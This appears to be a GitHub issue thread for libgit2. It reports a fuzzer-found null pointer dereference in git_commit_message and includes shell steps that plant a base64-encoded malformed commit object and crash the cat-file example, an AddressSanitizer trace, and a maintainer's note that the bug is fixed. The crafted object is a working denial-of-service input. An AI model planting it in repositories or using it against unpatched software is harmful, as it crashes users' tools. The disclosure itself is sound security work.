DoS using a null pointer derreference in git_commit_message

[gaa-cifasis]

Hi,

We found a null pointer derreference showing a malformed object file using the last version of libgit2. To reproduce, first compile libgit2 and its examples with AddressSanitizer support. Then:

$ git init ; mkdir -p .git/objects/cc/ ; printf 'eJx9kzFMFEEUhpXCxGskFhYkxilMIAHDezOzszMJQUJDBwkFNsRk3JlVC0TX1dgI0cYS6CggNCRQQGFpYmLQ4ggYEkJBJyZGco0WxNhI7tzF29uZi/q6t++f7/3zTzaanpq6nxLFgnNpYi1RARMRk9xoKyAri9oyChSapQANNZxXHurEPkhJ9onmPURhnM+1FLEKAUs9Y5YDOnoIY04LPUolpCz7olp6Cl5x7fcg2/SIInPe2i+QAw1Kf8U+18//+AwZZxJKPTXUvZ8AZagt+ZkWPD76PJRtfBmynFfoA8kwz6uYx+oPr+Crdj5oTR3PCH/31+IDRm4+bfHCnSavvK9QLs8oKvM8/sXPla7fGExoqXM+mxgVCEePcVy+fdZ676cxi8jPE03o8fx8m+dL/z6PKeCuPyObfP0kvTedkMWfq1fs0Iv3y9XaZMfnU27rb4bHNtde1ieezY7WyEDPcXXm2iC5kQM5paQ3W8kr0dlflNqEnKxePRT7O3O77zYaR1vzWzdnrpOBvu+fXl24tXTZPmbk1zhbf3rS/eP28d3dQULDACU7o6jK6/O1/f5qR/1gpfPD6fOFnqOub1/3qo3tj42VS5W3E43RLxcfjSS/ARnzBb0=' | base64 -d > .git/objects/cc/b43974c5163c530fd93a991ec83b640d88b3b0

Finally, you can trigger the bug using cat-file:

$ ASAN_OPTIONS='detect_leaks=0' cat-file -p ccb43974c5163c530fd93a991ec83b640d88b3b0

The AddressSanitizer report is here:

ASAN:DEADLYSIGNAL
=================================================================
==11692==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f813f26e4bb bp 0x7ffff2709730 sp 0x7ffff2709710 T0)
    #0 0x7f813f26e4ba in git_commit_message /home/g/Work/Code/libgit2-master/src/commit.c:500
    #1 0x403178 in show_commit /home/g/Work/Code/libgit2-master/examples/cat-file.c:87
    #2 0x403724 in main /home/g/Work/Code/libgit2-master/examples/cat-file.c:175
    #3 0x7f813ec3a290 in __libc_start_main (/usr/lib/libc.so.6+0x20290)
    #4 0x401919 in _start (/home/g/Work/Code/libgit2-master/examples/cat-file+0x401919)

This issues was found using QuickFuzz.

Regards

[pks-t]

Thanks for both your reports. These issues should be fixed by #3956

[pks-t]

Fixed via #3956